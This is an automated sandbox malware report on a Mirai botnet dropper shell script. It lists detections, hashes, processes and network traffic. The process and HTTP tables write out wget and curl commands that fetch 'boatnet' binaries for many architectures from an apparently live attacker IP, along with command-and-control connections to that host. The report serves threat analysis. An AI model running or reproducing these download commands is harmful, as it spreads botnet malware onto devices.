File name:

ohshit.sh

Full analysis: https://app.any.run/tasks/828119a2-0ce1-4158-92f5-681f8b589480
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: December 14, 2024, 04:10:05
OS: Ubuntu 22.04.2 LTS
Tags:
opendir
mirai
botnet
Indicators:
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

49F7303A16D7E14D54856F32A64EDF18

SHA1:

78BF70845CF273E963F91E0A373E581E03ECB965

SHA256:

54EF205416581348885F545C913D0325C89E72C40CFC1F423E319855F0C40B6A

SSDEEP:

48:vz37O37N7hz3p36Gz3gB3zPz353KWz3/3oUz37/37o7Uz3fY33bz3+39Rz3L3cgl:vD7g7N7hD96GDgFzPDtKWD/oUD7/7o70

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • MIRAI has been detected (SURICATA)

      • wget (PID: 38804)
      • WTF (PID: 38897)
      • WTF (PID: 38866)
      • WTF (PID: 38931)
      • WTF (PID: 38966)
      • WTF (PID: 38803)
      • WTF (PID: 38999)
      • WTF (PID: 39033)
      • WTF (PID: 39063)
      • WTF (PID: 39097)
      • WTF (PID: 39130)
      • WTF (PID: 39162)
      • WTF (PID: 39193)
      • WTF (PID: 39224)
      • WTF (PID: 38834)
      • WTF (PID: 39258)

  • SUSPICIOUS

    • Connects to the server without a host name

      • wget (PID: 38835)
      • wget (PID: 38867)
      • wget (PID: 38804)
      • wget (PID: 38759)
      • wget (PID: 38932)
      • curl (PID: 38899)
      • wget (PID: 38898)
      • wget (PID: 38967)
      • curl (PID: 38969)
      • wget (PID: 39000)
      • wget (PID: 39034)
      • wget (PID: 39064)
      • wget (PID: 39098)
      • curl (PID: 39065)
      • wget (PID: 39131)
      • wget (PID: 39163)
      • curl (PID: 39164)
      • curl (PID: 39195)
      • wget (PID: 39225)
      • wget (PID: 39194)

    • Modifies file or directory owner

      • sudo (PID: 38752)

    • Reads /proc/mounts (likely used to find writable filesystems)

      • curl (PID: 38899)
      • curl (PID: 38969)
      • curl (PID: 39164)
      • curl (PID: 39195)

    • Potential Corporate Privacy Violation

      • wget (PID: 38759)
      • wget (PID: 38835)
      • wget (PID: 38967)
      • curl (PID: 38969)
      • wget (PID: 39000)
      • wget (PID: 39034)
      • wget (PID: 39098)
      • curl (PID: 39065)
      • wget (PID: 39064)
      • wget (PID: 39131)
      • curl (PID: 39164)
      • wget (PID: 39163)
      • wget (PID: 39194)
      • curl (PID: 39195)
      • wget (PID: 39225)

    • Executes commands using command-line interpreter

      • sudo (PID: 38756)

    • Connects to unusual port

      • WTF (PID: 38834)
      • WTF (PID: 38897)
      • WTF (PID: 38931)
      • WTF (PID: 38866)
      • WTF (PID: 38966)
      • WTF (PID: 38803)
      • WTF (PID: 38999)
      • WTF (PID: 39063)
      • WTF (PID: 39033)
      • WTF (PID: 39097)
      • WTF (PID: 39162)
      • WTF (PID: 39193)
      • WTF (PID: 39130)
      • WTF (PID: 39224)
      • WTF (PID: 39258)

    • Uses wget to download content

      • bash (PID: 38757)

    • Contacting a server suspected of hosting an CnC

      • WTF (PID: 38897)
      • WTF (PID: 38803)
      • WTF (PID: 38931)
      • WTF (PID: 38866)
      • WTF (PID: 38966)
      • WTF (PID: 38999)
      • WTF (PID: 39097)
      • WTF (PID: 39063)
      • WTF (PID: 39033)
      • WTF (PID: 39130)
      • WTF (PID: 39193)
      • WTF (PID: 39162)
      • WTF (PID: 39224)
      • WTF (PID: 38834)
      • WTF (PID: 39258)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
384
Monitored processes
175
Malicious processes
46
Suspicious processes
5

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget dash no specs snap no specs snap-seccomp no specs snap-confine no specs dumpe2fs no specs snap-update-ns no specs dumpe2fs no specs cat no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf #MIRAI wget snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget wtf no specs wtf no specs #MIRAI wtf snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget wtf no specs wtf no specs #MIRAI wtf snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget wtf no specs wtf no specs #MIRAI wtf snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wget wtf no specs wtf no specs #MIRAI wtf snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf wget snap no specs snap-seccomp no specs snap-confine no specs snap-confine no specs bash no specs chmod no specs wtf no specs wtf no specs wtf no specs #MIRAI wtf

Process information

PID
CMD
Path
Indicators
Parent process
38751/bin/sh -c "sudo chown user /home/user/Desktop/ohshit\.sh && chmod +x /home/user/Desktop/ohshit\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/ohshit\.sh "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38752sudo chown user /home/user/Desktop/ohshit.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38753chown user /home/user/Desktop/ohshit.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38754chmod +x /home/user/Desktop/ohshit.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38756sudo -iu user /home/user/Desktop/ohshit.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38757/bin/bash /home/user/Desktop/ohshit.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38758/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38759wget http://163.123.181.75/hiddenbin/boatnet.x86/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38761/bin/sh -e /etc/NetworkManager/dispatcher.d/01-ifupdown connectivity-change/usr/bin/dash—nm-dispatcher
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38762curl -O http://163.123.181.75/hiddenbin/boatnet.x86/snap/snapd/20290/usr/bin/snap—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
9
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
38759wget/tmp/boatnet.x86binary
MD5:—
SHA256:—
38804wget/tmp/boatnet.mipsbinary
MD5:—
SHA256:—
38835wget/tmp/boatnet.arco
MD5:—
SHA256:—
38967wget/tmp/boatnet.mpslbinary
MD5:—
SHA256:—
39000wget/tmp/boatnet.armbinary
MD5:—
SHA256:—
39098wget/tmp/boatnet.arm7binary
MD5:—
SHA256:—
39131wget/tmp/boatnet.ppcbinary
MD5:—
SHA256:—
39163wget/tmp/boatnet.spcbinary
MD5:—
SHA256:—
39194wget/tmp/boatnet.m68ko
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
33
TCP/UDP connections
682
DNS requests
8
Threats
760

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
185.125.190.18:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
—
185.125.190.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
204
185.125.190.18:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
38759
wget
GET
200
163.123.181.75:80
http://163.123.181.75/hiddenbin/boatnet.x86
unknown
—
—
—
38969
curl
GET
200
163.123.181.75:80
http://163.123.181.75/hiddenbin/boatnet.mpsl
unknown
—
—
—
39000
wget
GET
200
163.123.181.75:80
http://163.123.181.75/hiddenbin/boatnet.arm
unknown
—
—
—
38867
wget
GET
404
163.123.181.75:80
http://163.123.181.75/hiddenbin/boatnet.i468
unknown
—
—
—
38932
wget
GET
404
163.123.181.75:80
http://163.123.181.75/hiddenbin/boatnet.x86_64
unknown
—
—
—
38899
curl
GET
404
163.123.181.75:80
http://163.123.181.75/hiddenbin/boatnet.i686
unknown
—
—
—
—
—
GET
200
163.123.181.75:80
http://163.123.181.75/hiddenbin/boatnet.arc
unknown
—
—
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
185.125.190.18:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
38759
wget
163.123.181.75:80
—
NOCIX
US
unknown
—
—
163.123.181.75:80
—
NOCIX
US
unknown
38803
WTF
163.123.181.75:3778
—
NOCIX
US
unknown
38804
wget
163.123.181.75:80
—
NOCIX
US
unknown
38834
WTF
163.123.181.75:3778
—
NOCIX
US
unknown
38835
wget
163.123.181.75:80
—
NOCIX
US
unknown
38866
WTF
163.123.181.75:3778
—
NOCIX
US
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::22
  • 2001:67c:1562::23
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::96
  • 2620:2d:4002:1::197
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::98
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::97
  • 2001:67c:1562::24
  • 2620:2d:4000:1::2b
  • 185.125.190.18
  • 185.125.190.96
  • 91.189.91.49
  • 91.189.91.96
  • 185.125.190.48
  • 185.125.190.98
  • 91.189.91.98
  • 185.125.190.49
  • 185.125.190.97
  • 91.189.91.97
  • 185.125.190.17
  • 91.189.91.48
whitelisted
google.com
  • 142.250.186.174
  • 2a00:1450:4001:829::200e
whitelisted
207.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
—
—
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
—
—
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
A Network Trojan was detected
AV INFO Possible Mirai .mips Executable Download
—
—
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
—
—
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
ohshit.sh